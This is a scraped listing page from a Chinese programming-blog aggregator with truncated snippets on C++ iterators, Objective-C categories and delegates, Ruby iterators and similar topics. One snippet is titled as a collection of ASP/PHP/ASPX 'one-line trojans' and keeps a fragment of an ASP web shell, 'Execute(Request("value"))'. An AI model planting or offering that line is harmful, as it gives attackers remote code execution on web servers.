注意事项:特别注意任何时候同时使用两个迭代器产生的将会是一个前闭后开的区间(具体见插入和删除的例子)特别注意begin()指向的是vec中的第0个元素,而end是指向最后一个元素的后面一个位置(不是最后一个元素)特别注意迭代器的时效性,如果一个迭代器所指向的内容已经被删除,而后又使用该迭代器的话,会...
分类:
编程语言 时间:
2015-04-11 23:43:57
阅读次数:
152
类扩展常见方法:定义子类、遵循协议、使用分类、源文件拓展。源文件拓展:语法:在声明@implementation前添加@interface 类名()....@end分类Category向现有类中添加方法时添加子类不方便分类是对现有类的扩展,分类只扩展方法,不扩展属性协议Protoccol可以用来声明...
分类:
移动开发 时间:
2015-04-11 22:25:02
阅读次数:
141
MyView.h@protocal ViewTouchDelegate @required -(void)touchMyView;@end{ iddelegate;}@property (nonamtic,assign)iddelegate;-(void)touchMyView;MyView.m-....
分类:
其他好文 时间:
2015-04-11 20:45:43
阅读次数:
115
1、用于迭代器之后
Ruby的迭代器与其他语言的迭代器很不相同,它的迭代器一般都是函数,如:
def three_times
yield
yield
yield
end
使用实例: three_times { puts “hello”}
Ruby内置了一些迭代器如find,eac...
分类:
其他好文 时间:
2015-04-11 19:33:04
阅读次数:
127
interface IMyList{ // O(1) // Add an item at the beginning of the list. void AddFirst(T item); // O(1) // Add an item at the end of th...
asp一句话木马: php一句话木马: aspx一句话木马: 其他一句话木马: "" Then Execute(Request("value"))%> ""then session("value")=request("value"):end if:if sessio...
分类:
其他好文 时间:
2015-04-11 17:34:58
阅读次数:
358
1 /** 2 * ID: 19 3 * Name: Remove Nth Node From End of List 4 * Data Structure: Linked List 5 * Time Complexity: 6 * Space Complexity: ...
分类:
其他好文 时间:
2015-04-11 16:06:16
阅读次数:
139
#import?"LHViewController.h"
#define?angelToRandian(x)??((x)/180.0*M_PI)
@interface?LHViewController?()
@property?(strong,?nonatomic)?IBOutlet?UIImageView?*imageView;
@end
@implementat...
分类:
移动开发 时间:
2015-04-11 14:58:06
阅读次数:
229
1、使用标准库中的random_shuffle()函数实现很简单,代码如下:
int main() { vectorint> s_stl; for (int i=0; i random_shuffle(s_stl.begin(),s_stl.end()); cout "使用C++算法库:"; for (vectorint>::iterator it=s_st...
分类:
编程语言 时间:
2015-04-11 13:19:49
阅读次数:
237
#import "ViewController.h"@interface ViewController ()@property (strong, nonatomic) IBOutlet UITextField *textfield;@end@implementation ViewController...
分类:
其他好文 时间:
2015-04-11 13:09:44
阅读次数:
149